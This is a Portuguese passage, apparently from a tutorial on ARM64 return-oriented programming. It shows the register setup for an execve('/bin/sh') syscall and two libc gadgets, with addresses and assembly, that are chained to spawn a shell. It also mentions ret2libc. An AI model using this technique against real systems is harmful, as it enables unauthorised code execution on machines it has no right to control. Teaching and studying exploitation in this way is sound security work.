Para preparar a chamada para o syscall, é necessária a seguinte configuração:
x8: 221 Especificar sys_execve
x0: ptr para "/bin/sh" especificar arquivo a ser executado
x1: 0 especificar nenhum argumento passado
x2: 0 especificar nenhuma variável de ambiente passada
Usando ROPgadget.py, consegui localizar os seguintes gadgets na biblioteca libc da máquina:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
Com os gadgets anteriores, podemos controlar todos os registradores necessários da pilha e usar x5 para pular para o segundo gadget para chamar a syscall.
Observe que saber essas informações da biblioteca libc também permite realizar um ataque ret2libc, mas vamos usá-las para este exemplo atual.